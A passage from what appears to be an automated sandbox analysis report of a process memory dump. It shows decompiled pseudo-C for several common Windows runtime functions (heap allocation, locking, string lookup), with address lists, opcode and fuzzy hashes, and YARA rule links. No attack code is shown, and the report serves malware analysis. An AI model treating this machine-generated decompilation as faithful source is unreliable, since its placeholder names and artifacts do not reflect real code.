				}
				if((_t106 & 0x00000002) != 0) {
					_t106 = _t106 | 0x00000001;
				}
				_t109 =  *0x4c07b9c; // 0x0
				_t124 = L04B34620(_t109 + 0x140000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109 + 0x140000, 0x424 + (_a8 - 1) * 0xc);
				if(_t124 != 0) {
					 *_t124 =  *_t124 & 0x00000000;
					_t124[1] = _t124[1] & 0x00000000;
					_t124[4] = _t124[4] & 0x00000000;
					if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) == 0) {
						L13:
						_push(_t124);
						if((_t106 & 0x00000002) != 0) {
							_push(0x200);
							_push(0x28);
							_push(0xffffffff);
							_t122 = E04B59800();
							if(_t122 < 0) {
								L33:
								if((_t124[4] & 0x00000001) != 0) {
									_push(4);
									_t64 =  &(_t124[1]); // 0x4
									_t107 = _t64;
									_push(_t107);
									_push(5);
									_push(0xfffffffe);
									E04B595B0();
									if( *_t107 != 0) {
										_push( *_t107);
										E04B595D0();
									}
								}
								_push(_t124);
								_push(0);
								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
								L37:
								L04B377F0();
								return _t122;
							}
							_t124[4] = _t124[4] | 0x00000002;
							L18:
							_t108 = _a8;
							_t29 =  &(_t124[0x105]); // 0x414
							_t80 = _t29;
							_t30 =  &(_t124[5]); // 0x14
							_t124[3] = _t80;
							_t123 = 0;
							_t124[2] = _t30;
							 *_t80 = _t108;
							if(_t108 == 0) {
								L21:
								_t112 = 0x400;
								_push( &_v8);
								_v8 = 0x400;
								_push(_t124[2]);
								_push(0x400);
								_push(_t124[3]);
								_push(0);
								_push( *_t124);
								_t122 = E04B59910();
								if(_t122 != 0xc0000023) {
									L26:
									if(_t122 != 0x106) {
										L40:
										if(_t122 < 0) {
											L29:
											_t83 = _t124[2];
											if(_t83 != 0) {
												_t59 =  &(_t124[5]); // 0x14
												if(_t83 != _t59) {
													L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t83);
												}
											}
											_push( *_t124);
											E04B595D0();
											goto L33;
										}
										 *_a16 = _t124;
										return 0;
									}
									if(_t108 != 1) {
										_t122 = 0;
										goto L40;
									}
									_t122 = 0xc0000061;
									goto L29;
								} else {
									goto L22;
								}
								while(1) {
									L22:
									_t89 =  *0x4c07b9c; // 0x0
									_t92 = L04B34620(_t112,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t89 + 0x140000, _v8);
									_t124[2] = _t92;
									if(_t92 == 0) {
										break;
									}
									_t112 =  &_v8;
									_push( &_v8);
									_push(_t92);
									_push(_v8);
									_push(_t124[3]);
									_push(0);
									_push( *_t124);
									_t122 = E04B59910();
									if(_t122 != 0xc0000023) {
										goto L26;
									}
									L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t124[2]);
								}
								_t122 = 0xc0000017;
								goto L26;
							}
							_t119 = 0;
							do {
								_t114 = _t124[3];
								_t119 = _t119 + 0xc;
								 *((intOrPtr*)(_t114 + _t119 - 8)) =  *((intOrPtr*)(_a4 + _t123 * 4));
								 *(_t114 + _t119 - 4) =  *(_t114 + _t119 - 4) & 0x00000000;
								_t123 = _t123 + 1;
								 *((intOrPtr*)(_t124[3] + _t119)) = 2;
							} while (_t123 < _t108);
							goto L21;
						}
						_push(0x28);
						_push(3);
						_t122 = E04B1A7B0();
						if(_t122 < 0) {
							goto L33;
						}
						_t124[4] = _t124[4] | 0x00000001;
						goto L18;
					}
					if((_t106 & 0x00000001) == 0) {
						_t115 = 0x28;
						_t122 = E04BAE7D3(_t115, _t124);
						if(_t122 < 0) {
							L9:
							_push(_t124);
							_push(0);
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							goto L37;
						}
						L12:
						if( *_t124 != 0) {
							goto L18;
						}
						goto L13;
					}
					_t15 =  &(_t124[1]); // 0x4
					_t117 = 4;
					_t122 = E04BAE7D3(_t117, _t15);
					if(_t122 >= 0) {
						_t124[4] = _t124[4] | 0x00000001;
						_v12 = _v12 & 0x00000000;
						_push(4);
						_push( &_v12);
						_push(5);
						_push(0xfffffffe);
						E04B595B0();
						goto L12;
					}
					goto L9;
				} else {
					return 0xc0000017;
				}
			}

0x04bab8d9
0x04bab8e4
0x00000000
0x04bab8e6
0x04bab8f3
0x04bab8f5
0x04bab8f5
0x04bab8f8
0x04bab920
0x04bab924
0x04bab936
0x04bab939
0x04bab93d
0x04bab948
0x04bab9a0
0x04bab9a0
0x04bab9a4
0x04bab9bf
0x04bab9c4
0x04bab9c6
0x04bab9cd
0x04bab9d1
0x04babad4
0x04babad8
0x04babada
0x04babadc
0x04babadc
0x04babadf
0x04babae0
0x04babae2
0x04babae4
0x04babaec
0x04babaee
0x04babaf0
0x04babaf0
0x04babaec
0x04babafb
0x04babafc
0x04babafe
0x04babb01
0x04babb01
0x00000000
0x04babb06
0x04bab9d7
0x04bab9db
0x04bab9db
0x04bab9de
0x04bab9de
0x04bab9e4
0x04bab9e7
0x04bab9ea
0x04bab9ec
0x04bab9ef
0x04bab9f3
0x04baba1b
0x04baba1b
0x04baba23
0x04baba24
0x04baba27
0x04baba2a
0x04baba2b
0x04baba2e
0x04baba30
0x04baba37
0x04baba3f
0x04baba9c
0x04babaa2
0x04babb13
0x04babb15
0x04babaae
0x04babaae
0x04babab3
0x04babab5
0x04bababa
0x04babac8
0x04babac8
0x04bababa
0x04babacd
0x04babacf
0x00000000
0x04babacf
0x04babb1a
0x00000000
0x04babb1c
0x04babaa7
0x04babb11
0x00000000
0x04babb11
0x04babaa9
0x00000000
0x00000000
0x00000000
0x00000000
0x04baba41
0x04baba41
0x04baba41
0x04baba58
0x04baba5d
0x04baba62
0x00000000
0x00000000
0x04baba64
0x04baba67
0x04baba68
0x04baba69
0x04baba6c
0x04baba6f
0x04baba71
0x04baba78
0x04baba80
0x00000000
0x00000000
0x04baba90
0x04baba90
0x04baba97
0x00000000
0x04baba97
0x04bab9f5
0x04bab9f7
0x04bab9f7
0x04bab9fa
0x04baba03
0x04baba07
0x04baba0c
0x04baba10
0x04baba17
0x00000000
0x04bab9f7
0x04bab9a6
0x04bab9a8
0x04bab9af
0x04bab9b3
0x00000000
0x00000000
0x04bab9b9
0x00000000
0x04bab9b9
0x04bab94d
0x04bab98f
0x04bab995
0x04bab999
0x04bab960
0x04bab967
0x04bab968
0x04bab96a
0x00000000
0x04bab96a
0x04bab99b
0x04bab99e
0x00000000
0x00000000
0x00000000
0x04bab99e
0x04bab951
0x04bab954
0x04bab95a
0x04bab95e
0x04bab972
0x04bab979
0x04bab97d
0x04bab97f
0x04bab980
0x04bab982
0x04bab984
0x00000000
0x04bab984
0x00000000
0x04bab926
0x00000000
0x04bab926

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d00fd8d22fe63d5707d0234bfa3e0168517122361bb0654f9db8728fc5509b75
Instruction ID: ddffa11d08cd637ba4161826ff63bd5997b394e7554a5df979b88cf8ff1970e7
Opcode Fuzzy Hash: d00fd8d22fe63d5707d0234bfa3e0168517122361bb0654f9db8728fc5509b75
Instruction Fuzzy Hash: 92710172208701EFEB31CF25C840F56BBA5EB40724F1045A8E665876A0EB75F965DB50

Uniqueness

Uniqueness Score: -1.00%

Function 04B152A5, Relevance: .2, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E04B152A5(char __ecx) {
				char _v20;
				char _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v64;
				void* __ebx;
				intOrPtr* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				intOrPtr* _t102;
				intOrPtr* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					E04B2EEF0(0x4c079a0);
					_t104 =  *0x4c08210; // 0x2f11ea0
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)(_t104 + 8));
					E04B2EB70(_t93, 0x4c079a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)(_t104 + 4)));
							_t53 = E04B59890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									E04B2EEF0(0x4c079a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E04B2EB70(0, 0x4c079a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t13 = _t104 + 0xc; // 0x2f11ead
								_t93 = _t13;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E04B4F0BF(_t13,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									E04B2EEF0(0x4c079a0);
									__eflags =  *0x4c08210 - _t104; // 0x2f11ea0
									if(__eflags == 0) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x4c08210 = _t102;
										_t32 = _t102 + 0xc; // 0x0
										 *_t95 =  *_t32;
										_t33 = _t102 + 0x10; // 0x0
										 *((intOrPtr*)(_t95 + 4)) =  *_t33;
										_t35 = _t102 + 4; // 0xffffffff
										 *((intOrPtr*)(_t95 + 8)) =  *_t35;
										if(__eflags != 0) {
											_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10))));
											E04B94888(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10)))), __eflags);
										}
										E04B2EB70(_t95, 0x4c079a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E04B595D0();
											L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E04B595D0();
											L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E04B2EB70(_t93, 0x4c079a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t104 + 4)));
										E04B595D0();
										L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
										_t102 =  *((intOrPtr*)(_t108 + 0x10));
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_t28 = _t102 + 4; // 0xffffffff
										_push( *_t28);
										E04B595D0();
										L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t102);
									}
									continue;
								}
								_t93 =  &_v20;
								 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t104 + 0x10));
								_t85 = 6;
								_v20 = _t85;
								_t87 = E04B4F0BF( &_v20,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x04b152a5
0x04b152ad
0x04b152b0
0x04b152b3
0x04b152b7
0x04b152ba
0x04b152bf
0x04b152c4
0x04b152cc
0x00000000
0x00000000
0x04b152ce
0x04b152d9
0x04b152dd
0x04b152e7
0x04b152f7
0x04b152f9
0x04b152fd
0x04b70dcf
0x04b70dd5
0x04b70dd6
0x04b70dd7
0x04b70dd8
0x04b70dd9
0x04b70dde
0x04b70ddf
0x04b70de0
0x04b70de1
0x04b70de2
0x04b70de5
0x04b70dea
0x04b70dec
0x04b70f60
0x04b70f64
0x04b70f70
0x04b70f76
0x04b70f79
0x04b70f79
0x00000000
0x04b70f64
0x04b70df2
0x04b70df7
0x04b70e04
0x04b70e0d
0x04b70e0d
0x04b70e10
0x04b70e1a
0x04b70e1c
0x04b70e4c
0x04b70e52
0x04b70e61
0x04b70e67
0x04b70e6b
0x04b70e70
0x04b70e76
0x04b70ed7
0x04b70edc
0x04b70ee0
0x04b70ee6
0x04b70eea
0x04b70eed
0x04b70ef0
0x04b70ef3
0x04b70ef6
0x04b70ef9
0x04b70efe
0x04b70f01
0x04b70f01
0x04b70f0b
0x04b70f12
0x04b70f16
0x04b70f18
0x04b70f1b
0x04b70f2c
0x04b70f31
0x04b70f31
0x04b70f35
0x04b70f39
0x04b70f3a
0x04b70f3c
0x04b70f3f
0x04b70f50
0x04b70f55
0x04b70f55
0x04b70f59
0x04b152eb
0x04b152f1
0x04b152f1
0x04b70e7d
0x04b70e84
0x04b70e88
0x04b70e8a
0x04b70e8d
0x04b70e9e
0x04b70ea3
0x04b70ea3
0x04b70ea7
0x04b70eaf
0x04b70eb3
0x04b70eb9
0x04b70eb9
0x04b70ebc
0x04b70ecd
0x04b70ecd
0x00000000
0x04b70eb3
0x04b70e21
0x04b70e2b
0x04b70e2f
0x04b70e30
0x04b70e3a
0x04b70e3f
0x04b70e41
0x00000000
0x00000000
0x04b70e47
0x00000000
0x04b70e47
0x04b70df9
0x04b70dfe
0x00000000
0x00000000
0x00000000
0x04b70dfe
0x04b15303
0x04b15307
0x00000000
0x04b15309
0x00000000
0x04b15309
0x04b15307
0x04b152e9
0x04b152e9
0x00000000
0x04b152e9
0x04b1530e
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8415fe858e07bdc9c7c5d26a04b1612e867fbf56d90867acdb67b7e8db8f2f37
Instruction ID: b7dd1f0d3ffac825fe12de2f3aaae4310715b317f18b7300c83e505d5a35b49d
Opcode Fuzzy Hash: 8415fe858e07bdc9c7c5d26a04b1612e867fbf56d90867acdb67b7e8db8f2f37
Instruction Fuzzy Hash: 5151BC71205741AFEB21EF64C940B27BBE4FF80714F1489AAE4A987660E774F840CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 04B42AE4, Relevance: .2, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B42AE4(intOrPtr* __ecx, intOrPtr __edx, signed int _a4, short* _a8, intOrPtr _a12, signed int* _a16) {
				signed short* _v8;
				signed short* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				short _t56;
				signed int _t57;
				intOrPtr _t58;
				signed short* _t61;
				intOrPtr _t72;
				intOrPtr _t75;
				intOrPtr _t84;
				intOrPtr _t87;
				intOrPtr* _t90;
				signed short* _t91;
				signed int _t95;
				signed short* _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				signed int _t108;
				intOrPtr _t110;
				signed int _t111;
				signed short* _t112;
				void* _t113;
				signed int _t116;
				signed short** _t119;
				short* _t120;
				signed int _t123;
				signed int _t124;
				void* _t125;
				intOrPtr _t127;
				signed int _t128;

				_t90 = __ecx;
				_v16 = __edx;
				_t108 = _a4;
				_v28 = __ecx;
				_t4 = _t108 - 1; // -1
				if(_t4 > 0x13) {
					L15:
					_t56 = 0xc0000100;
					L16:
					return _t56;
				}
				_t57 = _t108 * 0x1c;
				_v32 = _t57;
				_t6 = _t57 + 0x4c08204; // 0x0
				_t123 =  *_t6;
				_t7 = _t57 + 0x4c08208; // 0x4c08207
				_t8 = _t57 + 0x4c08208; // 0x4c08207
				_t119 = _t8;
				_v36 = _t123;
				_t110 = _t7 + _t123 * 8;
				_v24 = _t110;
				_t111 = _a4;
				if(_t119 >= _t110) {
					L12:
					if(_t123 != 3) {
						_t58 =  *0x4c08450; // 0x2f13e6c
						if(_t58 == 0) {
							_t58 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x48));
						}
					} else {
						_t26 = _t57 + 0x4c0821c; // 0x0
						_t58 =  *_t26;
					}
					 *_t90 = _t58;
					goto L15;
				} else {
					goto L2;
				}
				while(1) {
					_t116 =  *_t61 & 0x0000ffff;
					_t128 =  *(_t127 + _t61) & 0x0000ffff;
					if(_t116 == _t128) {
						goto L18;
					}
					L5:
					if(_t116 >= 0x61) {
						if(_t116 > 0x7a) {
							_t97 =  *0x4c06d5c; // 0x7f9a0654
							_t72 =  *0x4c06d5c; // 0x7f9a0654
							_t75 =  *0x4c06d5c; // 0x7f9a0654
							_t116 =  *((intOrPtr*)(_t75 + (( *(_t72 + (( *(_t97 + (_t116 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t116 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t116 & 0x0000000f)) * 2)) + _t116 & 0x0000ffff;
						} else {
							_t116 = _t116 - 0x20;
						}
					}
					if(_t128 >= 0x61) {
						if(_t128 > 0x7a) {
							_t102 =  *0x4c06d5c; // 0x7f9a0654
							_t84 =  *0x4c06d5c; // 0x7f9a0654
							_t87 =  *0x4c06d5c; // 0x7f9a0654
							_t128 =  *((intOrPtr*)(_t87 + (( *(_t84 + (( *(_t102 + (_t128 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t128 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t128 & 0x0000000f)) * 2)) + _t128 & 0x0000ffff;
						} else {
							_t128 = _t128 - 0x20;
						}
					}
					if(_t116 == _t128) {
						_t61 = _v12;
						_t96 = _v8;
					} else {
						_t113 = _t116 - _t128;
						L9:
						_t111 = _a4;
						if(_t113 == 0) {
							_t115 =  &(( *_t119)[_t111 + 1]);
							_t33 =  &(_t119[1]); // 0x100
							_t120 = _a8;
							_t95 =  *_t33 -  &(( *_t119)[_t111 + 1]) >> 1;
							_t35 = _t95 - 1; // 0xff
							_t124 = _t35;
							if(_t120 == 0) {
								L27:
								 *_a16 = _t95;
								_t56 = 0xc0000023;
								goto L16;
							}
							if(_t124 >= _a12) {
								if(_a12 >= 1) {
									 *_t120 = 0;
								}
								goto L27;
							}
							 *_a16 = _t124;
							_t125 = _t124 + _t124;
							E04B5F3E0(_t120, _t115, _t125);
							_t56 = 0;
							 *((short*)(_t125 + _t120)) = 0;
							goto L16;
						}
						_t119 =  &(_t119[2]);
						if(_t119 < _v24) {
							L2:
							_t91 =  *_t119;
							_t61 = _t91;
							_v12 = _t61;
							_t112 =  &(_t61[_t111]);
							_v8 = _t112;
							if(_t61 >= _t112) {
								break;
							} else {
								_t127 = _v16 - _t91;
								_t96 = _t112;
								_v20 = _t127;
								_t116 =  *_t61 & 0x0000ffff;
								_t128 =  *(_t127 + _t61) & 0x0000ffff;
								if(_t116 == _t128) {
									goto L18;
								}
								goto L5;
							}
						} else {
							_t90 = _v28;
							_t57 = _v32;
							_t123 = _v36;
							goto L12;
						}
					}
					L18:
					_t61 =  &(_t61[1]);
					_v12 = _t61;
					if(_t61 >= _t96) {
						break;
					}
					_t127 = _v20;
				}
				_t113 = 0;
				goto L9;
			}

0x04b42ae4
0x04b42aec
0x04b42aef
0x04b42af4
0x04b42af7
0x04b42afd
0x04b42b92
0x04b42b92
0x04b42b97
0x04b42b9c
0x04b42b9c
0x04b42b03
0x04b42b06
0x04b42b09
0x04b42b09
0x04b42b0f
0x04b42b15
0x04b42b15
0x04b42b1b
0x04b42b1e
0x04b42b21
0x04b42b26
0x04b42b29
0x04b42b81
0x04b42b84
0x04b42c0e
0x04b42c15
0x04b42c24
0x04b42c24
0x04b42b8a
0x04b42b8a
0x04b42b8a
0x04b42b8a
0x04b42b90
0x00000000
0x00000000
0x00000000
0x00000000
0x04b42b4a
0x04b42b4a
0x04b42b4d
0x04b42b53
0x00000000
0x00000000
0x04b42b55
0x04b42b58
0x04b42bb7
0x04b85d1b
0x04b85d37
0x04b85d47
0x04b85d53
0x04b42bbd
0x04b42bbd
0x04b42bbd
0x04b42bb7
0x04b42b5d
0x04b42c2f
0x04b85d5b
0x04b85d77
0x04b85d87
0x04b85d93
0x04b42c35
0x04b42c35
0x04b42c35
0x04b42c2f
0x04b42b65
0x04b42b9f
0x04b42ba2
0x04b42b67
0x04b42b67
0x04b42b69
0x04b42b6b
0x04b42b6e
0x04b42bc9
0x04b42bcc
0x04b42bcf
0x04b42bd4
0x04b42bd6
0x04b42bd6
0x04b42bdb
0x04b42c02
0x04b42c05
0x04b42c07
0x00000000
0x04b42c07
0x04b42be0
0x04b42c00
0x04b42c3f
0x04b42c3f
0x00000000
0x04b42c00
0x04b42be5
0x04b42be7
0x04b42bec
0x04b42bf4
0x04b42bf6
0x00000000
0x04b42bf6
0x04b42b70
0x04b42b76
0x04b42b2b
0x04b42b2b
0x04b42b2d
0x04b42b2f
0x04b42b32
0x04b42b35
0x04b42b3a
0x00000000
0x04b42b40
0x04b42b43
0x04b42b45
0x04b42b47
0x04b42b4a
0x04b42b4d
0x04b42b53
0x00000000
0x00000000
0x00000000
0x04b42b53
0x04b42b78
0x04b42b78
0x04b42b7b
0x04b42b7e
0x00000000
0x04b42b7e
0x04b42b76
0x04b42ba5
0x04b42ba5
0x04b42ba8
0x04b42bad
0x00000000
0x00000000
0x04b42baf
0x04b42baf
0x04b42bc2
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 620d5a3ef8de212e2850c60413338684fd25d49ccc958b8c305020b2be44a32c
Instruction ID: 2d766558b1c78c39ef1c81905d6714619402c90e33fbb47748b556ed77e914c8
Opcode Fuzzy Hash: 620d5a3ef8de212e2850c60413338684fd25d49ccc958b8c305020b2be44a32c
Instruction Fuzzy Hash: 1D518F7AB001158BCB18DF1CC8909BDB7B1FBC874071684DAF8469B355E634BA51FB90

Uniqueness

Uniqueness Score: -1.00%

Function 04BDAE44, Relevance: .2, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E04BDAE44(signed char __ecx, signed int __edx, signed int _a4, signed char _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				void* __esi;
				void* __ebp;
				signed short* _t36;
				signed int _t41;
				char* _t42;
				intOrPtr _t43;
				signed int _t47;
				void* _t52;
				signed int _t57;
				intOrPtr _t61;
				signed char _t62;
				signed int _t72;
				signed char _t85;
				signed int _t88;

				_t73 = __edx;
				_push(__ecx);
				_t85 = __ecx;
				_v8 = __edx;
				_t61 =  *((intOrPtr*)(__ecx + 0x28));
				_t57 = _a4 |  *(__ecx + 0xc) & 0x11000001;
				if(_t61 != 0 && _t61 ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
					_t57 = _t57 | 0x00000001;
				}
				_t88 = 0;
				_t36 = 0;
				_t96 = _a12;
				if(_a12 == 0) {
					_t62 = _a8;
					__eflags = _t62;
					if(__eflags == 0) {
						goto L12;
					}
					_t52 = E04BDC38B(_t85, _t73, _t57, 0);
					_t62 = _a8;
					 *_t62 = _t52;
					_t36 = 0;
					goto L11;
				} else {
					_t36 = E04BDACFD(_t85, _t73, _t96, _t57, _a8);
					if(0 == 0 || 0 == 0xffffffff) {
						_t72 = _t88;
					} else {
						_t72 =  *0x00000000 & 0x0000ffff;
					}
					 *_a12 = _t72;
					_t62 = _a8;
					L11:
					_t73 = _v8;
					L12:
					if((_t57 & 0x01000000) != 0 ||  *((intOrPtr*)(_t85 + 0x20)) == _t88) {
						L19:
						if(( *(_t85 + 0xc) & 0x10000000) == 0) {
							L22:
							_t74 = _v8;
							__eflags = _v8;
							if(__eflags != 0) {
								L25:
								__eflags = _t88 - 2;
								if(_t88 != 2) {
									__eflags = _t85 + 0x44 + (_t88 << 6);
									_t88 = E04BDFDE2(_t85 + 0x44 + (_t88 << 6), _t74, _t57);
									goto L34;
								}
								L26:
								_t59 = _v8;
								E04BDEA55(_t85, _v8, _t57);
								asm("sbb esi, esi");
								_t88 =  ~_t88;
								_t41 = E04B37D50();
								__eflags = _t41;
								if(_t41 == 0) {
									_t42 = 0x7ffe0380;
								} else {
									_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								}
								__eflags =  *_t42;
								if( *_t42 != 0) {
									_t43 =  *[fs:0x30];
									__eflags =  *(_t43 + 0x240) & 0x00000001;
									if(( *(_t43 + 0x240) & 0x00000001) != 0) {
										__eflags = _t88;
										if(_t88 != 0) {
											E04BD1608(_t85, _t59, 3);
										}
									}
								}
								goto L34;
							}
							_push(_t62);
							_t47 = E04BE1536(0x4c08ae4, (_t74 -  *0x4c08b04 >> 0x14) + (_t74 -  *0x4c08b04 >> 0x14), _t88, __eflags);
							__eflags = _t47;
							if(_t47 == 0) {
								goto L26;
							}
							_t74 = _v12;
							_t27 = _t47 - 1; // -1
							_t88 = _t27;
							goto L25;
						}
						_t62 = _t85;
						if(L04BDC323(_t62, _v8, _t57) != 0xffffffff) {
							goto L22;
						}
						_push(_t62);
						_push(_t88);
						E04BDA80D(_t85, 9, _v8, _t88);
						goto L34;
					} else {
						_t101 = _t36;
						if(_t36 != 0) {
							L16:
							if(_t36 == 0xffffffff) {
								goto L19;
							}
							_t62 =  *((intOrPtr*)(_t36 + 2));
							if((_t62 & 0x0000000f) == 0) {
								goto L19;
							}
							_t62 = _t62 & 0xf;
							if(E04BBCB1E(_t62, _t85, _v8, 3, _t36 + 8) < 0) {
								L34:
								return _t88;
							}
							goto L19;
						}
						_t62 = _t85;
						_t36 = E04BDACFD(_t62, _t73, _t101, _t57, _t62);
						if(_t36 == 0) {
							goto L19;
						}
						goto L16;
					}
				}
			}

0x04bdae44
0x04bdae4c
0x04bdae53
0x04bdae55
0x04bdae5c
0x04bdae64
0x04bdae68
0x04bdae75
0x04bdae75
0x04bdae78
0x04bdae7a
0x04bdae7c
0x04bdae7f
0x04bdaea8
0x04bdaeab
0x04bdaead
0x00000000
0x00000000
0x04bdaeb3
0x04bdaeb8
0x04bdaebb
0x04bdaebd
0x00000000
0x04bdae81
0x04bdae88
0x04bdae8f
0x04bdae9b
0x04bdae96
0x04bdae96
0x04bdae96
0x04bdaea0
0x04bdaea3
0x04bdaebf
0x04bdaebf
0x04bdaec3
0x04bdaec9
0x04bdaf0d
0x04bdaf14
0x04bdaf3d
0x04bdaf3d
0x04bdaf41
0x04bdaf44
0x04bdaf67
0x04bdaf67
0x04bdaf6a
0x04bdafca
0x04bdafd1
0x00000000
0x04bdafd1
0x04bdaf6c
0x04bdaf6d
0x04bdaf75
0x04bdaf7c
0x04bdaf7e
0x04bdaf80
0x04bdaf85
0x04bdaf87
0x04bdaf99
0x04bdaf89
0x04bdaf92
0x04bdaf92
0x04bdaf9e
0x04bdafa1
0x04bdafa3
0x04bdafa9
0x04bdafb0
0x04bdafb2
0x04bdafb4
0x04bdafbc
0x04bdafbc
0x04bdafb4
0x04bdafb0
0x00000000
0x04bdafa1
0x04bdaf4f
0x04bdaf57
0x04bdaf5c
0x04bdaf5e
0x00000000
0x00000000
0x04bdaf60
0x04bdaf64
0x04bdaf64
0x00000000
0x04bdaf64
0x04bdaf1a
0x04bdaf25
0x00000000
0x00000000
0x04bdaf27
0x04bdaf28
0x04bdaf33
0x00000000
0x04bdaed0
0x04bdaed0
0x04bdaed2
0x04bdaee1
0x04bdaee4
0x00000000
0x00000000
0x04bdaee6
0x04bdaeec
0x00000000
0x00000000
0x04bdaefb
0x04bdaf07
0x04bdafd3
0x04bdafdb
0x04bdafdb
0x00000000
0x04bdaf07
0x04bdaed6
0x04bdaed8
0x04bdaedf
0x00000000
0x00000000
0x00000000
0x04bdaedf
0x04bdaec9

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
